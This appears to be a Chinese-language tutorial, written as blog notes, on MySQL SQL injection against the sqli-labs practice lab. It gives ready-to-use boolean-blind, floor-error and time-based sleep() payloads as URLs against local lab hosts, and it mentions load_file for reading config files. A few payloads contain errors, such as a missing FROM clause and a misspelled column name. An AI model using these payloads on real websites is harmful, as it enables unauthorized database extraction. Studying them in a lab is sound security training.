由于不返回数据库当中的数据,故采用盲注进行猜解。
构造逻辑判断
ascii(str) : 返回给定字符的ascii值,如果str是空字符串,返回0;如果str是NULL,返回NULL。如 ascii("a")=97
ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+ //substr()函数, ascii()函数
length(str) : 返回给定字符串的长度,如 length("string")=6
substr(string,start,length) :截取字符串一部分,对于给定字符串string,从start位开始截取,截取length长度 ,如 substr("chinese",3,2)="in"
substr()、stbstring()、mid() 三个函数的用法、功能均一致
concat(username):将查询到的username连在一起,默认用逗号分隔
concat(str1,'*',str2):将字符串str1和str2的数据查询到一起,中间用*连接
group_concat(username) :将username数据z查询在一起,用逗号连接
limit 0,1:查询第1个数 limit 1,1: 查询第2个数 limit n,1: 查询第n+1个数
left(database(),1)>’a’,查看数据库名第一位,left(database(),2)>’ab’,查看数据库名前二位。
left(a,b)从左侧截取a的前b位
load_file()函数应用:读取各种配置文件
// 判断当前数据库的第一个字符的ascii是否大于100,如果大于100,页面立马响应,否则3秒后响应
http://127.0.0.1/sqli/Less-9/?id=1' and if (ascii(substr(database(),1,1))>100,1,sleep(3))#
使用函数让错误爆出来,在适当的地方插入SQL语句
sqli-labs实例:Less-5(单引号字符型+固定输出信息(floor报错注入&盲注))
输入单引号报错,判断存在注入点
http://192.168.89.131:86/Less-5/?id=1%27
但是不管输入什么正确的信息,页面均显示 You are in ...
这种情况union注入是行不通的。因为我们只能通过order by知道有3列,而不知道多少列是显示列。
这时候就可以考虑盲注了,可以通过页面是否显示来判断我们的输入是否正确,当我们的sql正确时,就显示you are in....。当我们的sql语句错误是,就不显示。以此找到注入点
HTTP://192.168.89.131:86/LESS-5/?id=1' and 1=2 --+
//and 1=2 就是注入点,就可以在注入点的位置插入判断语句
HTTP://192.168.89.131:86/LESS-5/?id=1' inject
使用布尔函数注入步骤
(1)利用left(database(),1)进行尝试:得出数据库名
查看一下 version(), 数据库的版本号为 5.6.17, 这里的语句的意思是看版本号的第一位是
不是 5, 明显的返回的结果是正确的。
http://192.168.89.131:86/Less-5/?id=1%27and%20left(version(),1)=5%23
改为4,显示错误。
接下来看一下数据库的长度
http://192.168.89.131:86/LESS-5/?id=1%27and%20length(database())=8%23
得出数据库长度为8
猜测数据库第一位,用left(database(),1)>'t',采用二分法得出首字母为s
HTTP://192.168.89.131:86/LESS-5/?id=1%27and%20left(database(),1)='s'%23
以此猜测数据库的第二位,看前两位是否大于 sa
(2)利用 substr() ascii()函数进行尝试:已知数据库名为security的情况下,得出数据库表,也可用database()
ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101
传送门--->ascii表对照表
以此利用二分法得到第二位第三位,表名为email
如何获得第二个表呢,上面的语句用到了limit 0,1,意思是从第0个开始获取第一个,那么要获取第二个就是limit 1,1.
以此类推得出所有的表
(3)利用regexp获取(2)中user表中的列
报错注入步骤
使用双注入步骤
floor报错注入。是利用count(),rand(),floor(),group by这几个函数结合在一起发生的漏洞
payload如下
// 我们可以将 user() 改成任何函数,以获取我们想要的信息
http://192.168.89.131:86/Less-5/?id=1' and (select 1 from (select count(*) from information_schema.tables group by concat(user(),floor(rand(0)*2)))a) #
//将其分解
(select 1 from (Y)a)
Y= select count(*) from information_schema.tables group by concat(Z)
Z= user(),floor(rand(0)*2)
查出结果如下
时间的SQL盲注
利用sleep()或benchmark()等函数让MySQL时间变长,时间盲注多与if(expr1,expr2,expr3)结合使用,if语句的含义是:如果expr1是TRUE,则IF()的返回值为expr2;否则返回expr3。所以判断数据库名长度的语句为:
sql/test.php?id=1'+and+if(length(database())>1,sleep(5),1) //猜测数据库长度
sql/test.php?id=1'+and+if(substr(database(),1,1)='s',sleep(5),1) //猜测数据库名
如果数据库库名长度大于1,则MySQL查询休眠5秒,否则查询1。
可根据burpsuite中页面的响应时间,判断条件是否正确
也可使用堆叠注入
参考链接:
渗透(五)之MySQL的布尔注入
https://blog.csdn.net/qq_36119192/article/details/82049508